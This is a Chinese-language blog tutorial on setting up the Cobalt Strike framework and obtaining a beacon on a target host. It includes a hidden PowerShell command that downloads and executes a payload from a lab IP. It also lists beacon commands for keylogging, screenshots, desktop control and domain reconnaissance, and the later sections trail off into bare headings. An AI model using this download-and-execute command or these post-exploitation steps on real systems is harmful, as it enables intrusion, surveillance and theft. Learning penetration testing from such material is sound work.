武器库Cobalt Strike

Cobalt Strike

        前提条件,获得⼀台主机的Shell。

        Cobalt Strike 是⼀款⾮常成熟的渗透测试框架。Cobalt Strike 在3.0 版本之前是基于Metasploit 框架⼯ 作的,可以使⽤Metasploit 漏洞库。从3.0 版本开始,Cobalt Strike 不再使⽤Metasploit 的漏洞库,称 为独⽴的渗透测试平台。

        Cobalt Strike 是⽤java 语⾔编写的。其优点在于,可以进⾏团队协作,以搭载了Cobalt Strike 的 TeamServer 服务的服务器为中转站,使⽬标系统权限反弹到该TeamServer 服务器上。同时,Cobalt Strike 提供了良好的UI 界⾯。

         Cobalt Strike 是⼀款商业软件,读者可以访问其官⽅⽹站,申请21 天测试版序列号。

01 部署和安装

Java 环境

java -version

启动团队服务器

sudo ./teamserver 192.168.232.130 123456

 

 

 

启动客户端

./cobaltstrike
./start.sh
# 输⼊服务器地址、端⼝、⽤户名和密码
192.168.232.130  50050   123456

 2 获取第⼀个beacon

 ⽣成监听器

⽣成Web Delivery

        ⽣成⽊⻢,⽂件或者命令

Attacks|Web Drive-by|ScriptedWeb Delivery

         “上线命令”

在目标主机c:\输入生成的木马

powershell 是Windows 系统⾃带组件
# ⽆需上传⽂件到⽬标服务器磁盘

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.232.130:80/a'))"

        上线成功

 3 常⽤基本命令

        基本beacon 管理

interact         进⼊命令⾏模式
Note             标注
Exit             退出
Remove           移除
sleep            响应时间

获取当前⽤户权限

beacon> getuid

⽂件管理 

        建议⼤家在图形化界⾯操作

beacon|右键|Explore|File Browser

 进程管理

建议在图形化界⾯操作

beacon|右键|Explore|Process List

 屏幕截屏

        #截屏

beacon|右键|Explore|Screenshots

        #查看截屏

View|Screenshots

桌⾯控制

beacon> desktop

键盘记录

        #键盘记录

beacon|右键|Explore|Process List|Log Keystrokes

        #查看键盘记录

View Keystrokes

4 内⽹信息收集

端⼝扫描

beacon|右键|Explore|Port Scan

域内信息收集

net view

net computers

net dclist 列出域内的域控制器(Domain Controller,DC)

net domain_trusts

net group net localgroup net logons 查看已经登录账户

net sessions

net share

net user

net time 查看时间

5 主机账户信息收集

06 渗透内⽹DC

建⽴SMB 隧道

         建⽴smb 监听器

        Vpsexe

 View-Targets

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值